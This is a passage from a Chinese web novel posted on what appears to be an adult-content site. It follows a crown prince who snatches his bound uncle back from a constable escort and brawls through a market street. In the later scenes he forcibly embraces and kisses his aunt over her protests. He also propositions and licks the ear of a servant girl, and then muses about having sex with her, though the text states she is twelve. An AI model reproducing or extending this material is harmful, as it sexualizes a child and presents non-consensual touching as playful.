未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

【流氓大地主】 6-10集 作者:棺材里的笑声


【流氓大地主】

   作者:棺材里的笑声
   出版:河图文化


  【第六集】第一章:神捕冷月

  父子俩就草原上的动荡又密谈了很久,许平这才知道,这段时间老爹的日子确实是很不好过。而自己的心思一直放在京城的动静上,没怎幺去关注边疆的情况,现在边疆的情况已经是很不稳定了。

  在京城还算炎热的九月,草原上的各个部族开始为了过冬的粮草而烦恼。一直处于最强势的契丹,尤其没有遮掩他们的野心,年老的金刀可汗做事依然高调,在月初的时候,下令各部王爷準备骑兵和乾粮,现在不少骁勇善战的契丹勇士,正开始脱离游牧的队伍,在他们首领的牵引下朝王庭聚集。

  这边动作一大,原本就各有摩擦的小部落也不得不开始放弃游牧的生活,集合兵力预防金刀可汗,毕竟契丹集结以后,目标尚不明确,搞不好会趁机洗劫其他草原部落,但现在照小道消息来看,他们最有可能攻打的不是大明,就是东北方的高丽。

  一般的骑兵只要能有一部分破关而入,马匹的速度优势一发挥,大明境内几乎没有多少可以追赶他们的兵力,而高丽那边地狭人稀,少得可怜的军队一碰上凶悍的草原骑兵并没多少的抵抗力,所以看来看去就是这两个地方最好进攻了。

  朱允文无奈的转过身去,长长的叹了口气,顿了顿说:「前两天我接到纪中云的奏摺,那边的局势似乎很严峻,要朝廷给他三十万两的军饷和一批新兵器,眼下契丹的动作如此大,我估计这次起码有十万骑兵出动,即使再怎幺想削弱他,如果契丹真的想攻打进来,饿狼营那边的压力也会很大。 」

  许平也意识到问题的严重性,但还是有些疑惑的问:「那为什幺他们不从西北口打,如果真的有十万大军,蟒蛇营比饿狼营好打多了,西北口可以抢掠的东西也不比东北那边少。」

  朱允文摇了摇头,冷笑了一下,语气很是嘲讽的说:「确实,从西北那边进攻,对他们来说好一些,但西北那边除了有蟒蛇营以外,还有草原上人数最少却最凶悍的女真,金刀可汗再怎幺有信心,也不会轻易攻打西北的。」

  「女真?难道他们有什幺过节吗?」许平马上就反应过来,对于女真强悍的战斗力,自古每个游牧民族都不敢小看。「女真不满万,满万不可敌」这句话从没有人敢把它看成玩笑话。

  朱允文幸灾乐祸的笑了一下,说:「当今女真的族长——巴尔思,不是什幺好惹的货色。在年中的时候,金刀可汗帐下的骑兵在西北游蕩,曾经强奸了他们族里几十个妇女,还血洗了一个小部落。巴尔思这人属于有仇报仇,而且立刻就要报的人,当下也带了一千多名的骑兵,血洗了契丹的一个游牧部落,后来更是发生了大大小小、不少于十次的摩擦。」

  「靠,好事啊!」许平马上拍着桌子,高兴的说:「契丹吃了那幺大的亏还不开打,女真再怎幺强也抵御不了契丹的十万铁骑吧!这都不开打,还有天理吗?」

  「呵呵!」朱允文高兴的笑了笑,语气也是有几分讽刺的说:「本来情报过来的时候,我也做好了看热闹的準备,但眼下金刀可汗已经老了,身体也是一年不如一年,他的儿子们早就因为他的金刀而闹得面和心不和了,这时候谁都想保存实力,没一个肯出兵的,这事暂时也就压了下来了。 」

  「靠,真他妈无聊!」许平不由得感慨还是独子比较好,起码自己不用为了这家产的问题多想什幺,不像别的败家子,还得想着杀来杀去的才能掌权,多他妈累啊!

  「好了,平儿!」朱允文稍微的思索了一下,语气轻鬆的说:「你现在钱粮不少,是时候该考虑组建自己的御林军了!」开始当然是贵精不贵多,别给纪龙太大的压力,免得他狗急跳墙,知道吗!」

  「了解!」许平一听立刻就兴奋起来,终于能组建自己的御林军了,想到都觉得刺激。只要是男人大多都会有一个将军梦。自从那晚见识禁军漫天肃杀的风采,许平更是心痒得不行。

  横刀立马,刀尖沖天。无数的战士因为自己的一个动作而杀声震天的冲锋,那该是多爽的一件事呀!

  「太子爷,小米姑娘求见!」

  这当口,胖太监在门口小心翼翼的喊了一声。虽然许平不太喜欢他,但一想如果不是有重要的事,他应该也不敢来打扰两人的密谈,再加上小米没事也不敢贸然进宫,立刻就起身朝朱允文说:「好了,老爹,我的事会自己安排,你就放心吧!」

  「嗯!」朱允文点了点头,语气满是慈爱的嘱咐说:「你也不用给自己那幺多的压力,边疆不稳多年,朝廷有的是应对的办法。契丹要打的也不一定是我们,这段时间你还是把精力全放在自己势力的培养上吧!」

  「嗯。」许平难得严肃的点了点头,马上走了出来。

  台阶之下,一向沈稳安静的小米难得满面忧愁的来回踱步,一看到许平出来,马上就凑上前来,语气着急的说:「主子您快去看看,纪阿姨要绑国舅爷回江南去。我们都不敢搁!」

  「什幺?」许平顿时就吃了一惊!

  「是啊!」小米急得眼泪都快出来了,颤声说:「铃主子在那稳着她呢,但皇后娘娘也派人过去 了。我们哪敢说个『不』字啊,我出来的时候国舅爷已经快被押上车了!」

  「靠,不早说!」许平马上急了,丢下小米,要了一匹快马,一路狂奔着出了宫门。

  回到太子府的时候已经来不及了,门口空剩赵铃在那着急的张望着。许平也不停下,大喊着问:「他们走哪个城门?」

  「南门!」赵铃也大声的喊了一声。许平没有任何停顿,立刻策马朝南城门狂奔而去!」路上经过闹市也不放慢速度,搞得人仰马翻,还撞倒了不少的摊贩!

  「操,难道出了城门?」一路上都没看见官家的马车或者是马队,许平不由得骂了一声,着急的出了京城,继续向南边追去。

  京郊的小路上,一队三十多人的队伍护着两辆马车缓慢的前行着,带队的是一个大概双九年华的黑衣少女,披着一件紫色的斗篷,身材姣好又高挑,长长的秀发随意的扎了个辫子,并无其他女孩子那样繁琐的装饰,看起来乾净而清爽。

  标準的东方瓜子脸,一双似黑夜明星的眼眸,十分明亮。虽然有着女性特有的明媚和剔透,但又如猎鹰一样的锐利有神,小巧而又精緻的鼻子很挺很翘,红润的樱桃小口紧紧抿着,少了分娇柔,多了些坚毅,一手持着缰绳,一手扶着腰上的宝剑,看起来英姿飒爽,丝毫不逊色于江湖男儿。

  中间的马车上,纪静月有些失落又有些犹豫。心似乎随着车身的起伏也一起摇摆着,自己只是来京城探视姐姐而已,这一走到底是对什幺恋恋不捨?当马车慢慢的走出城门时,脑子里尽是流氓外甥的嬉皮笑脸,这个讨厌的身影挥之不去。

  前面是幽怨多情与不捨,后面车上的情况可就没那幺多愁善感了。纪宝丰几乎是被五花大绑的丢在了车上,一名丫鬟随身伺候,顺便监视着他,纪宝丰就连嘴都被一团布给堵住了,呜咽着根本没办法动弹。刚在天工部洗完身上的尘灰,到了太子府就直接被纪欣月派人偷偷的给绑上车了!

  「我们走了多久了?」纪静月感觉心乱如麻,有些烦躁的拉开车帘,朝车夫问道。

  成熟美艳又忧郁的容颜让人一看就觉得心疼,不过车夫可不敢有半点的想法,马上恭敬的说:「回主子,咱们出城已经有十里地了。」

  「十里吗?」纪静月嘟嚷的自言自语着,怎幺感觉像是走了大半年一样,时间长得让人很难受。

  队首的女子转过头来,脸上警戒的说:「是啊,越往南方难民越多,说不定会有拦路贼。大家都小心一些,给我把眼睛睁大,知道吗?」

  「是!」一队的人马全都把手按在了自己的兵器上,一时间个个脸色变得谨慎。

  「操,他妈给老子站住!」这时候,后面一匹黑色的骏马伴着沙尘急奔而来,马背上的许平一看到这一队官兵,立刻就知道这是护送纪宝丰回去的马队,鬆了一口气后,急切的冲了过来。

  「戒备!」这群人似乎不认识许平,为首的黑衣女子立刻掉转马头,朝许平迎了上来,面色阴沈的拔出了佩剑,寒冷的剑光被太阳一照立刻就发出了丝丝的冷意。

  许平可不想正面和他们起冲突,到了近前后马上停了下来,朝马车里的人大声喊道:「舅舅,是你吗?」

  「呜……」纪宝丰一听许平的声音立刻就来了精神,挣扎着用头撞开了马车上的小窗户,呀呀的从牙缝里挤出了几声来。

  许平怒气沖冲的指着为首的黑衣女子,厉声喝道:「操,国舅爷也敢绑,你们这帮奴才太不像话了吧!」

  女子一听,立刻知道眼前的英俊少年是当朝太子,不过心绪似乎没多少变化,脸色还是一如既往的冰冷,只是恭敬的双手抱拳,不疾不徐的说:「太子爷,顺天府奉皇后娘娘旨意护送国舅爷回江南。请您不要和我们为难!」

  「操,我为难你?」许平气坏了,一口一个「操」字,指着马车破口大骂,道:

  「你们这是护送吗?你们这明明是绑。再说奉我母后的旨意,她的手谕呢?你们的令牌呢?」

  「皇后娘娘只是口谕!」女子一点都不因许平的怒火而有半丝的动摇,下马后拔出腰上的令牌,恭敬的递给许平说:「这是我们的令牌!」 

  许平接过一看,令牌倒是真的,入手 十分沈重。一面刻着顺天府巡察司,另一面是:冷月。原来眼前这个满面冰霜的小妞叫冷月啊,真不愧她爹起的这名字,说话的时候让人感觉真是不爽。

  「太子殿下,我们可以走了吧!」冷月利落的翻身上马,飘逸的姿势即使是男儿都自愧不如。

  「等等!」许平暗笑了一下。眼前这事要真的是老娘交代的,那自己就不好办事了。心里微微的算计,手上暗暗发力,使劲捏着令牌,一边微笑着,一边将铁製的令牌一点点的在她面前挤得和块废铁一样。

  「你!」冷月看着象徵自己尊严身份的令牌被弄坏了,既羞又怒,不过还是忌惮许平的身份,不敢上前抢夺。

  「嘿嘿,这样的东西,能证明身份吗?」许平得意的把已经成了废铁的令牌往地下一丢,趁她满面心疼的一个分神,轻轻的从马上跃起,急速朝纪宝丰所坐的马车冲了过去。

  「拦住他!」冷月立刻警惕的回过神来,但这时候许平已经从她身边一跃而过,她回头一声娇喝,不敢拔剑,只是赤着手追了过来。

  「大胆!」许平淩空暴喝了一声,双拳齐出,将两个胆敢拦截的捕快挥出。虽然两人皆有二流的修为,但一个照面就被许平深厚的内力给震飞了,如脱线风筝一样的往两边飞去。

  许平暗自得意,跳在车前,一脚将吓得呆滞的车夫踢下了马,自己一拉缰绳,赶着马掉丫头,朝京城的方向跑了回去。

  「追!」冷月马上沈下脸来,也不管地上的同伴,立刻上马追了上去,其他人纷纷的跟上。

  纪静月自然也不可避免的跟了回来,刚才自始至终都没说过半句话,其实只要她一开口,许平这无理取闹的行为就没半点理由了,但是不知道为什幺,她隐隐有些期待哥哥会被劫回去,似乎这样自己纷乱的心就能稍微找到一丝的安稳。

  「操,这家伙真不怕得罪老子啊!」许平一边策马,一边在车前站起来,看着后面蜂拥追来的捕快们,忍不住骂了一声。一般的朝廷命官见了自己连屁都不敢放一个,这叫冷月的小妞是什幺榆木脑袋?

  临近城门的时候,马车速度终究快不过骑马。眼见就快被他们给追上了,许平却是眼尖的看见城门口有一个十分熟悉的倩影,娇小又可爱,特别的显眼。

  巧儿站在城门口挥着手,兴奋的喊着:「主子!」

  来不及和她多说,许平脚上轻轻的一点,整个人立刻腾空而起,眼神看着急奔而去的马车大喊道:「先把他送回府里!」

  「得令!」巧儿兴奋的回了一句后,动作十分轻巧的跳上了车头,一把拉住缰绳,快速的朝城里跑去。小小的身躯,快得让人有些看不清。

  「妈的,让你们再追!」许平骂了一声后,在城墙上轻轻的一点,落地后灵敏的抢过已经六神无主的城门兵丁手上的长枪,暴喝一声,朝在最前面的冷月冲了过去,本来想将她打落马的,但是一看到这张认真又让人生不起气的秀脸便不忍下手,大喝一声,蹲了个马步,拿着长枪一个横扫,强势的扫在快速奔跑的马蹄上。

  许平现在的力气何其大,即使是奔跑的骏马也承受不了这样的重击。马骨和长枪几乎是在同一时间断裂,骏马哀鸣了一声,前蹄失速、马头一低,立刻就往前的摔去。

  冷月一点都不慌张,在马摔倒的一剎那飘逸的一跃,跳 上了商店的屋顶,急迈莲步,继续追赶。大街上早就乱成一团,整匹马倒在了城门口,也阻碍了其他人的追赶,随后而来的捕快们马上乱成了一团。

  纪静月在后面的马车里目睹了这一切,心里竟然开始担心起了许平的安全。这个叫冷月的女捕快可是顺天府出了名的固执,既然领了命令,那肯定不会让许平这样横加的阻挠,要是一会儿真的下手没个轻重那可怎幺办!

  想到这,纪静月心里就是一惊,再也没办法安稳的坐着了。拉开车帘子后往马背上一踩,十分轻盈的将前面一个捕快击落马下,骑着他的马跳过障碍立刻追了上来!

  「日啊!」

  许平见这妞真的还追,骂了一声,也顾不得被自己闹得乱七八糟的情况,迈开脚步,也跳上了街边的屋顶朝她追了过去!

  冷月的轻功十分的了得,几乎只是淩空的点着步,而没有做任何的停留,对于许平的暴跳如雷只是看了一眼,并没有回应。轻盈的身影十分快速的飘移着,没一会就追上了巧儿驾的马车边上,娇声喝道:「站住!」

  「傻瓜才站住呢!」巧儿一边回头做了个鬼脸,一边狠狠的踢着马屁股。

  「那怪不得我了!」冷月眼里的凶光一闪而过,左脚随意的一点跃下屋顶,直直的朝巧儿冲了过去,她的腰间寒光一闪,宝剑立刻脱鞘而出,闪着渗人的杀气朝巧儿刺了过去。

  「妈的,你敢!」许平立刻大惊失色,没想到这冷月一出手就是接近地品的实力,身手之快,连自己都比不上她,这一剑真要刺下去,以巧儿的实力根本不可能抵挡。

  「救命呀!」巧儿吓得花容失色,慌忙抱住脑袋,躲过这淩厉的一剑,冷月的剑锋控制不住的刺在了马屁股上,马儿吃疼,立刻没命的狂奔起来,东闯西撞,让整个大街乱了起来。

  「臭娘们,老子杀了你!」许平气得脸都胀红了,巧儿虽然调皮一些,但却是自己的左右手,也是自己十分信任的人。这妞竟然敢下这样的辣手,真要伤了她,老子让你陪葬。暴喝一声后跳上前去,右手毫不保留的一拳挥出,朝她的后背攻去!

  冷月一点都不慌忙,在颠簸的车顶上稍微的做了调整,立刻又轻轻的一跃跳上屋顶,躲过了许平这力道十足的一拳。

  砰的一声巨响,许平无比强悍的一击已经收不回来,直接轰在马车的车厢之上,一时间断裂的木板硬生生被砸得朝四处飞去,原本十分奢华的车厢全被许平这一击给炸飞了。躺在车板上的纪宝丰吓得面无血色,看着满面狰狞的许平,咬着牙又朝冷月追了过去。

  纪宝丰一直是躺着的所以没有大碍,可怜那个看护他的小丫鬟被木板砸中了脑袋,轻飘飘的摔下车去,打了几个滚后跌在了街道边不省人事。

  在这个年代活久了,不能说许平冷血,只不过习惯了这种下人连牲口都不如的意识,心里只是微微的感到愧疚,马上又朝冷月扑了过去。许平被这死脑筋的娘们真是气得脑子都快爆炸了。

  「给我停下!」冷月娇喝一声后突然睛光一闪,没再朝巧儿发难,而是朝在车上颠簸得已经没了人色的纪宝丰冲了过去。

  许平离她还有好几丈的距离,虽然修为比她高很多,但论轻功却是差了一大截,眼看着她就要抓到了纪宝丰,自己却一点办法都没有,急得像热锅上的蚂蚁却阻止不了她。

  好在这时候巧儿的反应很快,虽然没办法和她对抗,但小手快速的一挥,袖子里

  一道绿色的粉雾朝她扑了过去!

  冷月立刻机警的意识到是毒药,马上就在淩空的时候做出了判断,高挑的身子一个轻巧的外翻就躲过了这一阵的粉雾。巧儿袖子一挥,又一阵粉色的毒雾朝她飘了过去,冷月被逼得就地翻滚,很是不甘心的看着巧儿一副胜利的模样朝自己做着鬼脸,咯咯的大笑着驾着马车朝太子府跑去。

  「臭娘们!」冷月刚试图想再追的时候,后面一声气急败坏的暴喝,如炸雷一样的响起,震得人头皮都发疼了!

  「罢了。」一看马车已经拐了个弯,似乎也追不上了。冷月叹息了一声,警惕的转过头来,立刻就看见许平直直的朝自己扑了过来,硕大的拳头离得已经不到一米远了。

  许平见她脸色很不甘心,心里微微的颤了一下。毕竟这算是自己的家事,人家也只是奉命而行,这样是不是有点过分了,但刚才盛怒之下,手上的力道自然是没有保留,现在想收回来也是不太可能了,如果这一拳轰个正着 ,那她不死也得残废了!

  「躲开!」情急之下许平大喊了一声。

  冷月微微的一愣,但迅速的就做了反应!轻盈的一跳后,整个人在空中蜷缩在一起,香莲小足踏在了许平的拳头上,忍着脚踝处难言的伤痛,藉着这威风无比的力道,轻巧的落在了约莫十丈远的地方。

  一看没伤到她,许平顿时就鬆了一口气,看着纪宝丰已经被自己劫回来也就没再生气,不过碍于身份也没上前去问她情况怎幺样,唯一可以确定的是即使她巧妙的借力跳开,但脚上多少会有些吃疼。

  冷月面无表情的看了看许平,微微的动了动脚发现一阵阵的酸疼。事到如今不可能再追到人了,无奈的叹了口气后说:「太子殿下,冷月也只是奉命行事!您何必和我这下人为难呢。」

  纪静月一路上看着纷乱的街道,心里越来越惊。直到看见两人都没事了这才算是鬆了口气,将马停下后马上就帮冷月说起了情:「平儿,她也只是奉命护送我们而已,你就别为难她了。」

  纪静月这一说情,刚好给了许平一个台阶下。许平装作愤慨的样子挥了挥手,说:

  「罢了,你回顺天府覆命去吧,这事我自然会处理的。」

  「遵命!」冷月淡淡的应了一声,也没再说什幺。拖着一动就发疼的脚步转身走了,表情平淡得似乎什幺都没发生过一样!

  「便宜她了,这不懂事的东西!」许平气呼呼的说了几声后,回头一看,头都有些发麻了。这一路上两人打架不算,马车的横冲直撞让繁华的大街变得狼狈不堪,有的摊主守着被砸掉的摊位欲哭无泪的看着自己,也有胆小的被吓得号啕大哭,不少人的眼里除了害怕以外更多的都是愤怒,毕竟他们的日子也不好过,这点小生意是维持一家生计的唯一办法。

  「闪啦!」许平十分的不好意思,赶紧一个翻身顺势上了纪静月的马,坐在她的身后,一甩缰绳,先离开这地方再说。

  「你干嘛!」纪静月有些慌乱起来,后面熟悉的男人气味那幺的浓烈,让人一时间心乱如麻!或许自己不希望离开京城,也是因为这种心跳加速的感觉吧。

  许平闻着古代女子特有的胭脂味,和火辣辣的小姨独特的幽然体香,微微有些发醉。如果真让她回了江南,自己还能有什幺机会将这美豔的少妇泡到手,今天的决定是对的,即使不为了纪宝丰这个狂热的人才,为了小姨这样的绝色美人而闹出这样的动静也丝毫不算过分。

  「走啰!」从背后看着她雪白得似乎能看见血管的冰肌玉肤,许平忍不住色色的在她耳边吹着热气,一手环过她纤细而又不失丰满手感的小腰,哈哈大笑起来。

  「啊……」纪静月一声惊呼后慌忙的就要推开许平,但却抵御不过男人的力道,这时候马也奔跑起来,整个人一歪,顺势倒在了许平的怀里。

  「嘿嘿,小姨你想跑哪去啊!」许平一边强忍着要将手往上去摸她柔软酥胸的冲动,一边将头顽皮的靠在了她的肩膀上,对着她的耳朵直吐着热气。

  「正经点!」纪静月风情万种的瞪了许平一眼后,语气有些惆怅的说:「还去哪?我都在京城待了一个多月了,也差不多该回江南了吧!再说了大哥在这胡闹,姐姐都生气了,再不把他老实的带回去,大概过两天我爹也会杀到京城的。」

  「别回去了!」许平不再恶搞了,将她抱紧了一些,闻着小姨青丝上那淡然的幽香,语气温柔的说:「难道你觉得京城不好吗?」

  「怯,京城有什幺好的!」对于许平的挽留,纪静月打心里感觉到了一阵甜蜜,但嘴上还是倔强的说:「一天到晚都在勾心斗角的,又没什幺可以玩的!我回了江南有的是好吃的好玩的,干嘛待在这无聊的地方!」

  「因为这有我,己许平情深款款的应了一句,语气很是坚决没丝毫的犹豫。一边说着一边低下头去,在她紧张得有些出汗的香颈上温柔的吻了一下,呢喃着说:「难道这还不够吗?」

  「平儿,别这样!」纪静月立刻就惊了神,一边挣扎着一边有些颤抖的说:「我是你小姨,你这孩子怎幺总是瞎闹啊。」

  「我只当你是个漂亮的女人!」许平满面严肃又有点不讲理的说:「既然是女人就需要男人的疼爱,这有什幺不对的。」

  「不行!」纪静月短暂的慌张后马上厉声的说:「我是你的长辈,你怎幺能有这样的想法!这实在太荒唐了,成何体统啊。」说完就用力的去掰许平放在她腰上的手。

  「别和我说体统!」一说到这样的词句,许平立刻条件反射的想到了礼部那些要死要活的老东西,一扫刚才的温声细语,更加用力的将她抱在怀里,语气坚定的说:

  「老子喜欢你关他妈的体统什幺事,这都是没事干的人嘴里挂的废话,一刀架他脖子上看他还能说什幺鸟话出来。体统这东西有个屁用啊!」 

  「平儿,别这样!」纪静月再怎幺大方,但在大街上被外甥这幺亲密的抱着,骨子里的矜持作祟,立刻就颤声的哀求着。

  许平也深知这年头的女人到底还是很保守,再一看还没十米就是自己家门口了,要是被别人看见了也不太好,就顺着她的意思将手抽了回来。

  纪静月顿时鬆了口气,但不知道为什幺许平的手一收回的时候,心里又感觉到一阵莫名的空虚,似乎少了点安全感一样。

  门外,可以看见几个家丁在收拾破损的马车。看来巧儿已经把纪宝丰顺利的带了回来,但愿这舅舅可别被刚才的事吓死了,阿门!

  「平儿!」纪静月在许平的搀扶下优雅的下了马,咬着下唇犹豫了好一会,秀脸微红的说:「其实这次接大哥回去,也是因为爹爹说无论如何都要让他完婚!今天事情闹得那幺大,我得进宫去和姐姐说一声了,看看这事该怎幺办!」

  许平顿时就明白了,感情是外公对于抱孙子还是不死心才会闹这幺一出的。儘管自己做事很是乱来,但老娘基本上还是很纵容的,现在老爷子发了话,大概她也是没办法才会这幺做的。

  「好吧!」想了一会,许平还是点了点头,表情十分淫蕩的说:「不过你和我妈说一下,你们俩暂时都别回去。至于外公那边想抱孙子的问题,我负责来解决。」

  「你负责解决?」纪静月语气里全是怀疑,毕竟都二十多年了,谁都没办法让这个倔强的大哥不去癡迷那些工匠手艺,即使爹气得爆跳如雷,他依然是无动于衷,眼下还能有什幺好办法!

  「没错,没错!」许平一边色笑着,一边让家丁驾来一辆新的马车,一边将小姨送上车,一边信誓旦旦的说:「除非舅舅他那东西硬不起来,或者是啥时候不小心一刀切掉了,不然这事就包在我身上,肯定没半点问题。」

  「你胡说什幺呀!」纪静月娇媚的嗔了一声,如此大胆,饶是她这大刺刺的性格也有些接受不了。

  「嘿嘿!」许平一边笑着,一边欣赏着小姨难得的娇羞模样,原本就迷人的小脸上如少女怀春一样的粉色红晕,让她看起来更是明艳动人,忍不住凑上前去,深情的凝望着她。

  「走,走啦!」纪静月眼看外甥就要亲到自己了,吓得有些慌乱的躲进了车厢里,娇声着让车夫赶紧走。

  车夫自然是知道主子的性格,转过头来请示的看了看许平。

  许平也不想再逗她了,微微的点了点头,车夫这才放心的扬起缰绳朝皇宫的方向走去。

  「爽啊!」许平目送着她们走远以后,忍不住哈哈大乐起来。闹了一天实在是有趣,给紧张的生活加上了一些点缀。再加上今天美女小姨性感火辣之下那动人的羞怯和少女一样的娇豔,这一切的转变,不能不说是很大的收穫了。

  唯一不爽的就是这个冷月,真是个榆木脑袋。碰上这样的事,老实的站一边不就行了吗?还一个劲的穷追死打,闹出那幺大的乱子也是因为她!许平恨恨的想着,但也不得不承认这个冷月确实很特别,从头到尾都没见她笑过,真是有个性。

  「爽什幺呀主子!」巧儿已经迎了出来,穿着可爱的粉色小裙子尽显顽皮可爱,嬉皮笑脸的看了看许平,调笑着说:「是不是和咱们纪阿姨你侬我侬了,人家好羡慕哦!」

  「羡你个头啊!」许平没好气的骂道:「你要是羡慕,晚上来给我侍寝吧!爷满

  足一下你的愿望。」说完,眼睛死死的盯在了她微露的领口处那如羊脂白玉一样的冰肌雪肤上。

  「还是算了!」巧儿知道主子可是说得出做得到,马上就摆着手一副我错了的表情,楚楚可怜的说:「我怕小米姐姐说我争宠,到时候她要打我,怎幺办!」

  许平不禁白了一眼,心想:小米能打得过你?就她那柔弱的身子骨和温顺的性格,十个小米都不是你这小魔女的对手,在我这装什幺可怜啊。

  想是想,不过对于舅舅的事,许平也是有了主意。色色的笑了一下,招了招手示意巧儿过来。

  巧儿纯真的脸上尽是警惕的往后退了一步,满面无辜的看着许平,用她天真可爱的语气问:「有事?」

  「靠,怕老子吃了你啊!」许平佯装生气,伸手拉住了她小小又柔软无比的手掌,将她拉到身边后一边肆意的捏着她柔弱无骨的小手,一边凑近她的耳边悄悄的说了几句。

  「不是吧!」巧儿吃惊的张大了小小的嘴巴,目瞪口呆的看着许平。

  看着嘴边这红润通透的精緻小耳朵和柔软得和婴儿一样的柔顺髮丝,许平忍不住伸出舌头轻轻的舔了一下,又在她的小耳朵亲了一口,这才意犹未尽的说:「是啊,你就照我说的办就好了!」

  巧儿感觉耳边那又热又湿的舌头舔过,身体深处带来一阵让人发颤的舒服。赶紧摀住了耳朵跳到一边,娇羞又是发嗲的瞋怪道:「干嘛呀,说就说舔什幺舔!你是小狗呀。」

  「嘿嘿,忍不住嘛!」许平满面色意的看着小魔女害羞的模样,突然面色一正,语气十分严肃的说:「记得,可别给我找那些乱七八糟的货色知道吗?」 

  「知道啦!」巧儿似乎不满的嘀咕着:「太没品味了,鄙视你。」

  「什幺?」许平半瞇着眼睛,一脸冷笑的看着她。

  巧儿只觉得全身发毛,再看看主子这副模样,害怕再待下去自己还真会被他给吃了,赶紧装出无辜的模样,一边走出门一边笑嘻嘻的说:「没什幺,我是说主子您好

  帅哦。人家这就去办,保证不让您失望还不行吗?」

  「乖!」许平哈哈大笑着,看着小魔女落荒而逃心里就一阵的爽。让你老是没事偷看老子和老婆们做爱,要不是实在太忙,早就把你也上了,真当老子硬起来的时候是假的啊!

  不过说吃了也是有点早,巧儿今年才十二岁吧!身材倒是娇小的有些可怜,仔细一看才一米二左右。吃那幺多都消化哪去了?不会把营养都排在了厕所里吧?

  心情挺不错,不过也有点愧疚,毕竟闹得这幺沸沸扬扬的也是不好。许平进了府,第一件事就是吩咐帐房的人带上银两去南门的市集,赔钱给那些摊子被自己弄翻的百姓们!这些钱或许对自己来说是九牛一毛,但这一毛对那些老实本分的平民来说,粗得有时候他们会接受不了。
  【第六集】第二章:春药的效用

  进了府以后,许平第一个打听的还是纪宝丰的情况。虽然应该没什幺大碍,但在

  主厅看见这位没有半点威风的国舅爷时,人却是晕死过去的被放在了自己那张太师椅上,看来将门也不一定出虎子。当年外公的破军营也是横行天下的虎狼之师,他金吾将军的名号更是在将元兵杀退黄河的时候名满天下,但偏偏生个儿子胆子竟然如此的小,这样的小打小闹就给吓晕过去,没前途呀!

  柳叔微笑着站在了一边,见许平进来立刻就恭敬的行了个礼说:「主子,国舅爷身体并无大碍。只是惊吓过度晕厥而已,只需好好疗养一下即可。」

  柳叔都把过脉了许平也就鬆了一口气,吩咐丫鬟们好好照顾他以后,勾了勾手指示意柳叔出来一下。柳叔自然也没多问,两人屏退下人后,信步走到了后花园 里相对而坐。

  柳叔见许平似乎有些不好意思,马上和蔼的笑了笑问:「小王爷,有何事不妨和老奴直说!」

  许平脸红了红,有些不好意思的说:「柳叔,我现在準备组建自己的御林军了,但思来想去的,当将军和打架可不一样,又不是比武力是比脑子的,感觉自己应该不是这块料!」

  「呵呵!」见许平对自己看得那幺清楚,柳叔满是欣慰的问:「小王爷是不是担心新军组建后无一可用之帅才?」

  「是啊!」许平马上殷勤的点了点头,说:「我就是觉得缺这幺一个人,所以才烦恼。找个又能打仗又没问题的人实在太难了,最重要的是背景得清白,而且按眼下的形势来看,此人一定要骁勇善战,又得有和草原部落打过仗的经验,我可不想找一个只会背兵书的家伙!」

  「容我想想!」柳叔一听也是皱起了眉,心里深知主子的性格是断然不会要那些纸上谈兵的家伙,但眼下符合这种要求的帅才,只有东北的饿狼营和江南的破军营这两个地方才有,蟒蛇营镇守西北说的是好听,但几乎一味的防御,绝对不是主子想要的那一种类型。

  许平一边看着柳叔眉头紧锁的思索着,一边祈祷上天赶紧让自己人品爆发吧!有了御林军,但没有一个可用的一军之帅也没用;对于自己的斤两许平还是知道的。这年代的行军打仗可不比现代那样的轻鬆,得会判断地形和天气,还得会煽动士气。挥

  刀冲锋也得能知进退才是真正的大将之才,这样的人必须冷静得和妖怪一样,必要时也血性冲脑才行。

  「有了!」柳叔突然一拍手,满面兴奋的说:「老奴倒是突然想起一人,是当年镇守喜峰口的悍将,后来朝廷空虚没有供给粮草和军饷,他因放纵兵士抢掠民财而被囚禁起来,现在还关在刑部的大牢里,算一算已经关了整整七年。」

  「太好了!你详细说说。」许平马上感兴趣的问道。许平喜欢的就是这种不按牌理出牌的家伙,这样的人打起仗来肯定会让对手防不胜防!

  柳叔有些愧色的笑了笑,说:「关于他的事老奴也不是很清楚。只知道此人名叫关大明,原乃一千夫长!有几次因为擅自带兵出关抢杀游牧族群,犯了朝廷西北只守不攻的一贯军令,也算是一匹难得的烈马吧!」

  「这幺猛啊!」许平更加高兴了。西北一线的破事他也听多了。有时候女真或者契丹都到了城下叫嚣,但那边的士兵最多放几枝冷箭就不再理睬。朝廷态度十分的明确,只要对方别大举进犯就好了,偶尔损失一些本地的商队,西北驻军也是睁一只眼闭一只眼。这个关大明竟然敢出关捂乱,起码是一个血气方刚的家伙。

  「呵呵!」柳叔见能为主子分忧,马上欣慰的笑了笑说:「他的事兵部迟迟

  没有定夺,可能屡次抗命出关这事上有金吾将军和镇北王在背后支持他吧!不然

  光这一条就够砍他脑袋了。现在想提人,不是什幺难事!」

  「那就提啊,还等什幺!」许平马上兴奋的说:「老子要人,他 刑部敢有屁

  话吗?」

  柳叔犹豫了一下,见许平心情大好,试探着问:「主子,洪顺也关押在刑部

  大牢,您看是不是……」

  许平一拍脑袋,不好意思的笑了笑说:「靠,你不说我都忘了!这小子估计

  也脱了一层皮了吧,差不多是时候该把他榜出来了。」

  这年头啊,许平总算知道为什幺活在权贵底下的人,每一个都战战兢兢的过

  日子了。柳叔要是不提,自己还真忘了有洪顺这人了,要是柳叔很不幸的也忘了

  ,那家伙饿死在里面都没人知道。难怪说伴君如伴虎。不说动不动就砍脑袋吧,

  有时候记性不好都容易出人命。

  「老奴这就去办!」柳叔说了一声后就要告退。

  「着什幺急啊!」许平马上站了起来,比他还着急的问:「你先告诉我这御林军的事该怎幺办啊!」

  柳叔无语的看了看许平,有些哭笑不得的说:「小王爷可自行招募兵马,此事只需圣上点头即可。至于户部的粮饷,老奴认为还是别指望的好,当然了如果您不想归兵部管,事前可以和圣上说一声。」

  「能让他们这群混蛋管吗?」许平没好气的骂道:「兵部那些家伙还不知道什幺叫丢人吗?命令一下,四大军营几乎没一个买帐的!唯一上得了檯面的禁军又不归他们管,他们也就私自扣下地方军队的粮饷喝点花酒,还不是废物齐聚的地方!」

  「是、是!」柳叔一边点着头一边告退,一脸的窃笑。也知道小王爷对朝廷六部一向很有意见,自然也就没多说什幺。

  柳叔前脚刚走,许平还没来得及对自己的专属军队意淫一下,巧儿马上迈着标誌性的蹦跳小步跑了进来,一脸得意的笑了笑,露出了两颗可爱的小虎牙说:「主子,事办好了。」

